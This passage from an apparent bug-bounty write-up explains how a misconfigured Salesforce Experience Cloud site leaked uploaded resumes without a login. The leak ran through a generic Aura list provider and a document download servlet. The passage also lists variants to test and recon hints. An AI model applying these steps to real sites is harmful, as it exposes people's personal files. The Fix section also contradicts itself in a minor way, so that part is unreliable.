In other words, instead of asking the registration controller for one upload record, the request asks the generic list data provider for a page of 2000 ContentDocument records. The aura.context value is unchanged from the captured request, and aura.token is still null, meaning no login pass is presented. The response is a 200 containing the ContentDocument records.
Step 4: Extract a document ID
From the server response, take one of the IDs, for example:
069830000028KJdAAM
Every stored file has its own ID like this. The list response hands them out, so the attacker does not need to guess anything.
Step 5: Download the file directly
Insert the ID into the URL as below. This downloads the attachment, in the researcher's example a confidential candidate resume, directly. All other files can be accessed the same way.
https://██████████.experience.██████/sfsites/c/sfc/servlet.shepherd/document/download/069830000028KJdAAM
The URL downloads the attachment directly, and the report states no authentication is required. This is the classic shape of an insecure direct object reference (IDOR): the server takes an identifier from the URL and hands over whatever it points to, without checking whether the requester is entitled to it.
Root cause
The report frames this as broken access control combined with an incorrectly configured Salesforce instance. Two things line up to make the leak possible. First, the Aura endpoint accepts a client-supplied action descriptor and parameters, and the generic SelectableListDataProviderController action will return ContentDocument records to an unauthenticated caller. Second, the document download servlet serves any ContentDocument by ID without checking that the requester is entitled to it. The registration controller's own getFileUploadRecord action is also reachable through the same endpoint, and the researcher's initial capture shows it being invoked from the public page. The report does not include the Apex source, so the exact scoping mistake inside RegistrationCtrl is not shown; the observable behaviour is that records belonging to other users are returned.
Impact
The researcher rates this as a large-scale data breach and candidate PII leak. An unauthenticated attacker can enumerate and download attachments submitted through the public registration form, including resumes full of personal data and university transcripts. The report says at least several files are available and possibly many more, and that files added manually by the team may also be affected. The program rated the report high severity under Improper Access Control. No bounty figure or CVSS score is given.
Fix
The report's remediation section has a heading but no content, so no specific fix is described. Whether the program applied either is not stated.
Variants to test
- Other Aura list providers. Try
SelectableListDataProviderControllerand similar generic controllers against other objects on Experience Cloud sites, for exampleAttachment,Documentor custom objects holding uploaded files. A positive result is a 200 whose response body contains records the guest user should not see. - Other Apex actions on the same endpoint. Enumerate
classnameandmethodpairs referenced in page JavaScript and inX-Sfdc-Lds-Endpointsheaders, then call them with `aura.[redacted] A positive result is any action that returns data belonging to another user. - Direct document download by ID. Take any
ContentDocumentID seen anywhere on the site and request it throughservlet.shepherd/document/download/. A positive result is a file download without a session. - Page size and paging. Vary
pageSizeandcurrentPagein the list provider payload to see how much data a single unauthenticated call returns. A positive result is a larger result set than the UI ever shows.
Hunting notes
This kind of bug hides on public-facing Salesforce Experience Cloud sites that have self-service forms with file uploads: registrations, job applications, support portals and grant submissions. During recon, look for experience. or force.com community hostnames, /s/ paths, and /s/sfsites/aura requests in the page source. The Aura message parameter and the X-Sfdc-Lds-Endpoints header name the Apex classes and methods the page uses, which gives a ready-made list of actions to test. A request that succeeds with aura.token=null is the signal that the action is reachable without a session. The researcher pulled a document ID out of the list response and used it to download an attachment, which the report describes as a confidential candidate resume.
Glossary
- Access control: the rules that decide who is allowed to see or do what on a system.
- API: a fixed way for software to ask another system for data or an action.
- Attachment: a file uploaded and stored alongside a record.
- Aura: Salesforce's framework for interactive pages, where the browser sends JSON messages to an Aura endpoint to run named actions.
- Authentication: proving who you are, usually by logging in.
- BAC (broken access control): a flaw where the server does not check whether the caller is allowed to access what they requested.
- Burp Suite: a tool that intercepts, inspects and edits traffic between a browser and a website.
- ContentDocument: Salesforce's internal name for a stored file record, each with a unique ID.
- Cookie: a small value the browser stores for a site and sends back with each request, often used to remember a session.
- CVSS: a standard scoring system for the severity of a vulnerability.
- CVE: a public catalogue number for a known vulnerability.
- Experience Cloud: Salesforce's product for building public-facing portals and communities on top of its data platform.
- Guest user: an unauthenticated visitor to a Salesforce community site.
- Header: extra information attached to a request or response, such as the host, cookies or content type.
- IDOR (insecure direct object reference): a flaw where a server hands over an object based on an ID supplied by the caller, without checking the caller is entitled to it.
- JSON: a plain-text format for structured data using braces, quotes and colons.
- PII: personally identifiable information, data that identifies a real person.
- POST: an HTTP method for sending data to a server.
- Repeater: Burp Suite's tool for holding, editing and resending a single request.
- Request: the message a browser sends to a server.
- Response: the message a server sends back.
- Servlet: a server-side program that handles a particular kind of request.
- Session: a logged-in state the server remembers across requests, usually via a cookie.
- Token: a value that acts as a pass proving the caller is authenticated.
- URL-encoded: a safe way of writing special characters in a URL or form body, e.g.
%7Bfor{. - X-Sfdc-Lds-Endpoints: a Salesforce request header naming the Apex action a page is calling.